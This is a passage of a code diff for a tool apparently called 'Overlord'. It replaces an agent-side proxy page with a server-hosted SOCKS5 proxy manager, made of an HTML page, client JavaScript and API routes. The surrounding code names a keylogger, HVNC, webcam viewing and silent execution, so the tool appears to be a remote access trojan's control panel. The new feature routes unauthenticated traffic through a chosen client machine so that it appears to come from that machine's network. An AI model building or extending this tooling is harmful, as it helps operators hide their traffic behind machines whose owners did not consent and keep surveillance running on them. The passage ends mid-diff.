class="stop-btn px-3 py-1.5 rounded-lg bg-red-800/60 hover:bg-red-700 text-red-100 border border-red-600 transition-colors text-xs"
|
||||||
|
data-port="${p.port}"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-stop mr-1"></i>Stop
|
||||||
|
</button>
|
||||||
|
</td>
|
||||||
|
</tr>`,
|
||||||
|
)
|
||||||
|
.join("");
|
||||||
|
|
||||||
|
// wire up stop buttons
|
||||||
|
tableBody.querySelectorAll(".stop-btn").forEach((btn) => {
|
||||||
|
btn.addEventListener("click", () => {
|
||||||
|
const port = parseInt(btn.dataset.port);
|
||||||
|
stopProxy(port);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function escapeHtml(str) {
|
||||||
|
const div = document.createElement("div");
|
||||||
|
div.textContent = str;
|
||||||
|
return div.innerHTML;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Actions ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function startProxy(clientId, port) {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/proxy/start", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ clientId, port }),
|
||||||
|
});
|
||||||
|
const data = await res.json();
|
||||||
|
if (data.ok) {
|
||||||
|
if (toast) toast(`Proxy started on port ${port}`, "success");
|
||||||
|
} else {
|
||||||
|
if (toast) toast(data.message || "Failed to start proxy", "error");
|
||||||
|
}
|
||||||
|
refresh();
|
||||||
|
} catch (err) {
|
||||||
|
if (toast) toast("Network error", "error");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function stopProxy(port) {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/proxy/stop", {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ port }),
|
||||||
|
});
|
||||||
|
const data = await res.json();
|
||||||
|
if (data.ok) {
|
||||||
|
if (toast) toast(`Proxy on port ${port} stopped`, "success");
|
||||||
|
} else {
|
||||||
|
if (toast) toast(data.message || "Failed to stop proxy", "error");
|
||||||
|
}
|
||||||
|
refresh();
|
||||||
|
} catch (err) {
|
||||||
|
if (toast) toast("Network error", "error");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function refresh() {
|
||||||
|
const proxies = await fetchProxies();
|
||||||
|
renderTable(proxies);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Modal ─────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function showModal() {
|
||||||
|
addProxyModal.classList.remove("hidden");
|
||||||
|
loadClientsForModal();
|
||||||
|
}
|
||||||
|
|
||||||
|
function hideModal() {
|
||||||
|
addProxyModal.classList.add("hidden");
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadClientsForModal() {
|
||||||
|
modalClientSelect.innerHTML = '<option value="">Loading...</option>';
|
||||||
|
const clients = await fetchClients();
|
||||||
|
if (!clients.length) {
|
||||||
|
modalClientSelect.innerHTML = '<option value="">No online clients</option>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
modalClientSelect.innerHTML = clients
|
||||||
|
.map((c) => {
|
||||||
|
const label = [c.nickname, c.host, c.user, c.id]
|
||||||
|
.filter(Boolean)
|
||||||
|
.join(" | ");
|
||||||
|
const selected = c.id === preselectedClientId ? " selected" : "";
|
||||||
|
return `<option value="${escapeHtml(c.id)}"${selected}>${escapeHtml(label)}</option>`;
|
||||||
|
})
|
||||||
|
.join("");
|
||||||
|
}
|
||||||
|
|
||||||
|
addProxyBtn.addEventListener("click", showModal);
|
||||||
|
modalCancelBtn.addEventListener("click", hideModal);
|
||||||
|
addProxyModal.addEventListener("click", (e) => {
|
||||||
|
if (e.target === addProxyModal) hideModal();
|
||||||
|
});
|
||||||
|
|
||||||
|
modalAddBtn.addEventListener("click", () => {
|
||||||
|
const clientId = modalClientSelect.value;
|
||||||
|
const port = parseInt(modalPortInput.value);
|
||||||
|
if (!clientId) {
|
||||||
|
if (toast) toast("Select a client", "error");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (isNaN(port) || port < 1 || port > 65535) {
|
||||||
|
if (toast) toast("Invalid port (1-65535)", "error");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
hideModal();
|
||||||
|
startProxy(clientId, port);
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Init ──────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
refresh();
|
||||||
|
pollingInterval = setInterval(refresh, 5000);
|
||||||
|
|
||||||
|
// Auto-open modal if a clientId was provided via URL
|
||||||
|
if (preselectedClientId) {
|
||||||
|
showModal();
|
||||||
|
}
|
||||||
@@ -30,7 +30,6 @@ const MENU_GROUPS = [
|
|||||||
color: "text-blue-400",
|
color: "text-blue-400",
|
||||||
items: [
|
items: [
|
||||||
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
|
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
|
||||||
{ label: "SOCKS5 Proxy", icon: "fa-solid fa-network-wired", icolor: "text-sky-400", open: "proxy" },
|
|
||||||
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
|
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,180 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html lang="en" class="dark">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8" />
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
|
||||||
<title>SOCKS5 Proxy - Overlord</title>
|
|
||||||
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
|
||||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
|
||||||
<link
|
|
||||||
rel="stylesheet"
|
|
||||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
|
||||||
crossorigin="anonymous"
|
|
||||||
referrerpolicy="no-referrer"
|
|
||||||
/>
|
|
||||||
<link rel="stylesheet" href="/assets/main.css" />
|
|
||||||
<script src="/assets/toast.js"></script>
|
|
||||||
</head>
|
|
||||||
<body class="min-h-screen bg-gradient-to-br from-slate-950 via-slate-900 to-slate-950 text-slate-100">
|
|
||||||
<header id="top-nav"></header>
|
|
||||||
|
|
||||||
<main class="px-5 py-6 flex-1 flex flex-col">
|
|
||||||
<div class="flex-1 flex flex-col gap-4" style="max-width: 1400px; margin: 0 auto; width: 100%">
|
|
||||||
<!-- Header -->
|
|
||||||
<div class="flex flex-wrap gap-3 items-center justify-between">
|
|
||||||
<div class="flex items-center gap-3">
|
|
||||||
<div
|
|
||||||
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 shadow-lg"
|
|
||||||
>
|
|
||||||
<i class="fa-solid fa-network-wired text-blue-400"></i>
|
|
||||||
<span class="font-semibold">SOCKS5 Proxy</span>
|
|
||||||
<span id="status-pill" class="pill pill-offline">Connecting</span>
|
|
||||||
</div>
|
|
||||||
<div
|
|
||||||
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300 shadow-lg"
|
|
||||||
>
|
|
||||||
<span class="text-slate-400">Client:</span>
|
|
||||||
<span id="clientLabel" class="font-mono">-</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- Main Content -->
|
|
||||||
<div class="grid grid-cols-1 lg:grid-cols-2 gap-4">
|
|
||||||
<!-- Proxy Control Panel -->
|
|
||||||
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-6 shadow-xl">
|
|
||||||
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
|
||||||
<i class="fa-solid fa-sliders"></i>
|
|
||||||
Control Panel
|
|
||||||
</h3>
|
|
||||||
|
|
||||||
<div class="space-y-4">
|
|
||||||
<div>
|
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2">
|
|
||||||
Proxy Port (on agent)
|
|
||||||
</label>
|
|
||||||
<input
|
|
||||||
id="portInput"
|
|
||||||
type="number"
|
|
||||||
value="1080"
|
|
||||||
min="1"
|
|
||||||
max="65535"
|
|
||||||
class="w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-500"
|
|
||||||
/>
|
|
||||||
<p class="text-xs text-slate-400 mt-1">
|
|
||||||
The SOCKS5 proxy will listen on localhost at this port on the agent machine
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="flex gap-2">
|
|
||||||
<button
|
|
||||||
id="startBtn"
|
|
||||||
class="button primary flex-1"
|
|
||||||
>
|
|
||||||
<i class="fa-solid fa-play"></i>
|
|
||||||
<span>Start Proxy</span>
|
|
||||||
</button>
|
|
||||||
<button
|
|
||||||
id="stopBtn"
|
|
||||||
class="button danger flex-1"
|
|
||||||
disabled
|
|
||||||
>
|
|
||||||
<i class="fa-solid fa-stop"></i>
|
|
||||||
<span>Stop Proxy</span>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div id="proxyInfo" class="hidden p-4 bg-slate-800/70 border border-slate-700 rounded-lg">
|
|
||||||
<div class="flex items-center gap-2 mb-2">
|
|
||||||
<i class="fa-solid fa-circle-check text-green-400"></i>
|
|
||||||
<span class="font-semibold text-green-400">Proxy Running</span>
|
|
||||||
</div>
|
|
||||||
<div class="space-y-1 text-sm">
|
|
||||||
<div class="flex items-center gap-2">
|
|
||||||
<span class="text-slate-400">Address:</span>
|
|
||||||
<span class="font-mono text-slate-200" id="proxyAddress">127.0.0.1:1080</span>
|
|
||||||
</div>
|
|
||||||
<div class="flex items-center gap-2">
|
|
||||||
<span class="text-slate-400">Protocol:</span>
|
|
||||||
<span class="font-mono text-slate-200">SOCKS5</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- Information Panel -->
|
|
||||||
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-6 shadow-xl">
|
|
||||||
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
|
||||||
<i class="fa-solid fa-circle-info"></i>
|
|
||||||
How to Use
|
|
||||||
</h3>
|
|
||||||
|
|
||||||
<div class="space-y-4 text-sm text-slate-300">
|
|
||||||
<div>
|
|
||||||
<h4 class="font-semibold text-slate-200 mb-2 flex items-center gap-2">
|
|
||||||
<i class="fa-solid fa-1 text-blue-400"></i>
|
|
||||||
Start the Proxy
|
|
||||||
</h4>
|
|
||||||
<p class="text-slate-400 pl-6">
|
|
||||||
Click "Start Proxy" to launch a SOCKS5 proxy server on the agent machine. The proxy will listen on localhost (127.0.0.1) at the specified port.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<h4 class="font-semibold text-slate-200 mb-2 flex items-center gap-2">
|
|
||||||
<i class="fa-solid fa-2 text-blue-400"></i>
|
|
||||||
Configure Your Applications
|
|
||||||
</h4>
|
|
||||||
<p class="text-slate-400 pl-6">
|
|
||||||
Configure your browser or applications on the agent machine to use the SOCKS5 proxy at 127.0.0.1:[port]. This will route traffic through the agent's network.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div>
|
|
||||||
<h4 class="font-semibold text-slate-200 mb-2 flex items-center gap-2">
|
|
||||||
<i class="fa-solid fa-3 text-blue-400"></i>
|
|
||||||
Use Your Agent's IP
|
|
||||||
</h4>
|
|
||||||
<p class="text-slate-400 pl-6">
|
|
||||||
All traffic routed through the proxy will appear to originate from the agent's IP address and network location.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="p-3 bg-yellow-500/10 border border-yellow-500/30 rounded-lg">
|
|
||||||
<div class="flex items-start gap-2">
|
|
||||||
<i class="fa-solid fa-exclamation-triangle text-yellow-400 mt-1"></i>
|
|
||||||
<div class="text-xs">
|
|
||||||
<p class="font-semibold text-yellow-300 mb-1">Note</p>
|
|
||||||
<p class="text-yellow-200/80">
|
|
||||||
The proxy runs directly on the agent machine. You need to configure applications <strong>on that machine</strong> to use it, or set up port forwarding/tunneling to access it remotely.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- Command Log -->
|
|
||||||
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4 shadow-xl">
|
|
||||||
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
|
||||||
<i class="fa-solid fa-terminal"></i>
|
|
||||||
Activity Log
|
|
||||||
</h3>
|
|
||||||
<div
|
|
||||||
id="logContainer"
|
|
||||||
class="font-mono text-xs bg-slate-950/70 border border-slate-800 rounded p-3 space-y-1 overflow-auto"
|
|
||||||
style="max-height: 200px"
|
|
||||||
>
|
|
||||||
<div class="text-slate-500">Waiting for connection...</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</main>
|
|
||||||
|
|
||||||
<script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
|
|
||||||
<script type="module" src="/assets/nav.js"></script>
|
|
||||||
<script type="module" src="/assets/proxy.js"></script>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en" class="dark">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>SOCKS5 Proxy Manager - Overlord</title>
|
||||||
|
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
||||||
|
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||||
|
<link
|
||||||
|
rel="stylesheet"
|
||||||
|
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||||
|
crossorigin="anonymous"
|
||||||
|
referrerpolicy="no-referrer"
|
||||||
|
/>
|
||||||
|
<link rel="stylesheet" href="/assets/main.css" />
|
||||||
|
<script src="/assets/toast.js"></script>
|
||||||
|
</head>
|
||||||
|
<body class="min-h-screen bg-gradient-to-br from-slate-950 via-slate-900 to-slate-950 text-slate-100">
|
||||||
|
<header id="top-nav"></header>
|
||||||
|
|
||||||
|
<main class="px-5 py-6 flex-1 flex flex-col">
|
||||||
|
<div class="flex-1 flex flex-col gap-4" style="max-width: 1100px; margin: 0 auto; width: 100%">
|
||||||
|
<!-- Header -->
|
||||||
|
<div class="flex flex-wrap gap-3 items-center justify-between">
|
||||||
|
<div class="flex items-center gap-3">
|
||||||
|
<div class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 shadow-lg">
|
||||||
|
<i class="fa-solid fa-network-wired text-blue-400"></i>
|
||||||
|
<span class="font-semibold">SOCKS5 Proxy Manager</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
id="addProxyBtn"
|
||||||
|
class="button primary"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-plus"></i>
|
||||||
|
<span>Add Proxy</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Info Banner -->
|
||||||
|
<div class="bg-blue-500/10 border border-blue-500/30 rounded-lg p-4">
|
||||||
|
<div class="flex items-start gap-3">
|
||||||
|
<i class="fa-solid fa-circle-info text-blue-400 mt-0.5"></i>
|
||||||
|
<div class="text-sm text-blue-200/80">
|
||||||
|
<p class="font-semibold text-blue-300 mb-1">Server-Hosted SOCKS5 Proxies</p>
|
||||||
|
<p>
|
||||||
|
Each entry creates a SOCKS5 proxy listener on this server. Anyone with the server address and port
|
||||||
|
can route traffic through the selected client's network. No authentication is required on the
|
||||||
|
SOCKS5 port — security is handled by only exposing ports you choose.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Proxy Table -->
|
||||||
|
<div class="bg-slate-900/70 border border-slate-800 rounded-lg shadow-xl overflow-hidden">
|
||||||
|
<table class="w-full text-sm">
|
||||||
|
<thead>
|
||||||
|
<tr class="bg-slate-800/50 border-b border-slate-700">
|
||||||
|
<th class="px-4 py-3 text-left text-slate-300 font-medium">Client</th>
|
||||||
|
<th class="px-4 py-3 text-left text-slate-300 font-medium">Port</th>
|
||||||
|
<th class="px-4 py-3 text-left text-slate-300 font-medium">Status</th>
|
||||||
|
<th class="px-4 py-3 text-left text-slate-300 font-medium">Connections</th>
|
||||||
|
<th class="px-4 py-3 text-left text-slate-300 font-medium">Usage</th>
|
||||||
|
<th class="px-4 py-3 text-left text-slate-300 font-medium">Started</th>
|
||||||
|
<th class="px-4 py-3 text-right text-slate-300 font-medium">Actions</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody id="proxyTableBody">
|
||||||
|
<tr>
|
||||||
|
<td colspan="7" class="px-4 py-8 text-center text-slate-500">
|
||||||
|
<i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading...
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<!-- Add Proxy Modal (hidden by default) -->
|
||||||
|
<div id="addProxyModal" class="fixed inset-0 z-[10001] bg-black/70 backdrop-blur-sm flex items-center justify-center p-4 hidden">
|
||||||
|
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl w-full max-w-md p-6">
|
||||||
|
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-plus text-blue-400"></i>
|
||||||
|
Add SOCKS5 Proxy
|
||||||
|
</h3>
|
||||||
|
<div class="space-y-4">
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-medium text-slate-300 mb-2">Client</label>
|
||||||
|
<select
|
||||||
|
id="modalClientSelect"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-500"
|
||||||
|
>
|
||||||
|
<option value="">Loading clients...</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-medium text-slate-300 mb-2">Listen Port (on this server)</label>
|
||||||
|
<input
|
||||||
|
id="modalPortInput"
|
||||||
|
type="number"
|
||||||
|
value="1080"
|
||||||
|
min="1"
|
||||||
|
max="65535"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-500"
|
||||||
|
/>
|
||||||
|
<p class="text-xs text-slate-400 mt-1">
|
||||||
|
The SOCKS5 proxy will listen on 0.0.0.0:<port> on this server.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div class="flex gap-2 justify-end pt-2">
|
||||||
|
<button id="modalCancelBtn" class="button">Cancel</button>
|
||||||
|
<button id="modalAddBtn" class="button primary">
|
||||||
|
<i class="fa-solid fa-play"></i> Start Proxy
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script type="module" src="/assets/nav.js"></script>
|
||||||
|
<script type="module" src="/assets/socks5-manager.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -99,10 +99,12 @@ import {
|
|||||||
handleProcessMessage,
|
handleProcessMessage,
|
||||||
handleProcessViewerMessage,
|
handleProcessViewerMessage,
|
||||||
handleProcessViewerOpen,
|
handleProcessViewerOpen,
|
||||||
handleProxyMessage,
|
|
||||||
handleProxyViewerMessage,
|
|
||||||
handleProxyViewerOpen,
|
|
||||||
} from "./server/ws-file-process-proxy-keylogger";
|
} from "./server/ws-file-process-proxy-keylogger";
|
||||||
|
import {
|
||||||
|
handleProxyTunnelData,
|
||||||
|
handleProxyTunnelClose,
|
||||||
|
handleProxyConnectResult,
|
||||||
|
} from "./server/socks5-proxy-manager";
|
||||||
import {
|
import {
|
||||||
cleanupVoiceViewer,
|
cleanupVoiceViewer,
|
||||||
handleVoiceUplink,
|
handleVoiceUplink,
|
||||||
@@ -262,7 +264,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
|||||||
savePluginState,
|
savePluginState,
|
||||||
});
|
});
|
||||||
|
|
||||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
|
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
|
||||||
|
|
||||||
type PendingScript = {
|
type PendingScript = {
|
||||||
resolve: (result: any) => void;
|
resolve: (result: any) => void;
|
||||||
@@ -413,7 +415,6 @@ async function startServer() {
|
|||||||
handleFileBrowserViewerOpen,
|
handleFileBrowserViewerOpen,
|
||||||
handleProcessViewerOpen,
|
handleProcessViewerOpen,
|
||||||
handleKeyloggerViewerOpen,
|
handleKeyloggerViewerOpen,
|
||||||
handleProxyViewerOpen,
|
|
||||||
handleVoiceViewerOpen,
|
handleVoiceViewerOpen,
|
||||||
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
||||||
handleConsoleViewerMessage,
|
handleConsoleViewerMessage,
|
||||||
@@ -423,7 +424,6 @@ async function startServer() {
|
|||||||
handleFileBrowserViewerMessage,
|
handleFileBrowserViewerMessage,
|
||||||
handleProcessViewerMessage,
|
handleProcessViewerMessage,
|
||||||
handleKeyloggerViewerMessage,
|
handleKeyloggerViewerMessage,
|
||||||
handleProxyViewerMessage,
|
|
||||||
handleVoiceViewerMessage,
|
handleVoiceViewerMessage,
|
||||||
dispatchAutoScriptsForConnection,
|
dispatchAutoScriptsForConnection,
|
||||||
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
|
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
|
||||||
@@ -436,7 +436,9 @@ async function startServer() {
|
|||||||
consumeHttpDownloadPayload: (downloadPayload: any) =>
|
consumeHttpDownloadPayload: (downloadPayload: any) =>
|
||||||
consumeHttpDownloadPayload(downloadPayload, pendingHttpDownloads),
|
consumeHttpDownloadPayload(downloadPayload, pendingHttpDownloads),
|
||||||
}),
|
}),
|
||||||
handleProxyMessage,
|
handleProxyTunnelData,
|
||||||
|
handleProxyTunnelClose,
|
||||||
|
handleProxyConnectResult,
|
||||||
handleProcessMessage,
|
handleProcessMessage,
|
||||||
handleKeyloggerMessage,
|
handleKeyloggerMessage,
|
||||||
notifyRdInputLatency,
|
notifyRdInputLatency,
|
||||||
|
|||||||
@@ -6,6 +6,11 @@ import { metrics } from "../../metrics";
|
|||||||
import { requirePermission } from "../../rbac";
|
import { requirePermission } from "../../rbac";
|
||||||
import { getUserTelegramChatId, setUserTelegramChatId } from "../../users";
|
import { getUserTelegramChatId, setUserTelegramChatId } from "../../users";
|
||||||
import { runCertbotSetup } from "../certbot-setup";
|
import { runCertbotSetup } from "../certbot-setup";
|
||||||
|
import {
|
||||||
|
getActiveProxies,
|
||||||
|
startProxy,
|
||||||
|
stopProxy,
|
||||||
|
} from "../socks5-proxy-manager";
|
||||||
|
|
||||||
type MiscRouteDeps = {
|
type MiscRouteDeps = {
|
||||||
CORS_HEADERS: Record<string, string>;
|
CORS_HEADERS: Record<string, string>;
|
||||||
@@ -318,5 +323,70 @@ export async function handleMiscRoutes(
|
|||||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (req.method === "GET" && url.pathname === "/api/proxy/list") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
if (user.role === "viewer") {
|
||||||
|
return new Response("Forbidden", { status: 403 });
|
||||||
|
}
|
||||||
|
return Response.json({ proxies: getActiveProxies() }, { headers: deps.CORS_HEADERS });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "POST" && url.pathname === "/api/proxy/start") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
if (user.role === "viewer") {
|
||||||
|
return new Response("Forbidden", { status: 403 });
|
||||||
|
}
|
||||||
|
let body: any = {};
|
||||||
|
try {
|
||||||
|
body = await req.json();
|
||||||
|
} catch {
|
||||||
|
return Response.json({ ok: false, message: "Invalid JSON" }, { status: 400 });
|
||||||
|
}
|
||||||
|
const clientId = typeof body?.clientId === "string" ? body.clientId.trim() : "";
|
||||||
|
const port = typeof body?.port === "number" ? Math.floor(body.port) : 0;
|
||||||
|
if (!clientId) {
|
||||||
|
return Response.json({ ok: false, message: "clientId is required" }, { status: 400 });
|
||||||
|
}
|
||||||
|
if (port < 1 || port > 65535) {
|
||||||
|
return Response.json({ ok: false, message: "port must be 1-65535" }, { status: 400 });
|
||||||
|
}
|
||||||
|
const result = startProxy(clientId, port);
|
||||||
|
return Response.json(result, {
|
||||||
|
status: result.ok ? 200 : 400,
|
||||||
|
headers: deps.CORS_HEADERS,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.method === "POST" && url.pathname === "/api/proxy/stop") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
if (user.role === "viewer") {
|
||||||
|
return new Response("Forbidden", { status: 403 });
|
||||||
|
}
|
||||||
|
let body: any = {};
|
||||||
|
try {
|
||||||
|
body = await req.json();
|
||||||
|
} catch {
|
||||||
|
return Response.json({ ok: false, message: "Invalid JSON" }, { status: 400 });
|
||||||
|
}
|
||||||
|
const port = typeof body?.port === "number" ? Math.floor(body.port) : 0;
|
||||||
|
if (port < 1 || port > 65535) {
|
||||||
|
return Response.json({ ok: false, message: "port must be 1-65535" }, { status: 400 });
|
||||||
|
}
|
||||||
|
const result = stopProxy(port);
|
||||||
|
return Response.json(result, {
|
||||||
|
status: result.ok ? 200 : 400,
|
||||||
|
headers: deps.CORS_HEADERS,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -381,22 +381,19 @@ export async function handlePageRoutes(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/);
|
if (req.method === "GET" && url.pathname === "/socks5-manager") {
|
||||||
if (req.method === "GET" && proxyPageMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
const user = await authenticateRequest(req);
|
||||||
if (!user) {
|
if (!user) {
|
||||||
return serveLoginOrUnauthorized(deps);
|
return serveLoginOrUnauthorized(deps);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
if (user.role === "viewer") {
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||||
}
|
}
|
||||||
if (!canAccessClientPage(user.userId, user.role, proxyPageMatch[1])) {
|
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
if (maybeChange) return maybeChange;
|
||||||
}
|
const file = Bun.file(`${deps.PUBLIC_ROOT}/socks5-manager.html`);
|
||||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`);
|
|
||||||
if (await file.exists()) {
|
if (await file.exists()) {
|
||||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) });
|
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("socks5-manager.html")) });
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import type { SocketData } from "../../sessions/types";
|
|||||||
import type { ClientInfo } from "../../types";
|
import type { ClientInfo } from "../../types";
|
||||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||||
|
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
|
||||||
|
|
||||||
type PendingScript = {
|
type PendingScript = {
|
||||||
timeout: ReturnType<typeof setTimeout>;
|
timeout: ReturnType<typeof setTimeout>;
|
||||||
@@ -38,7 +39,6 @@ type WsLifecycleDeps = {
|
|||||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
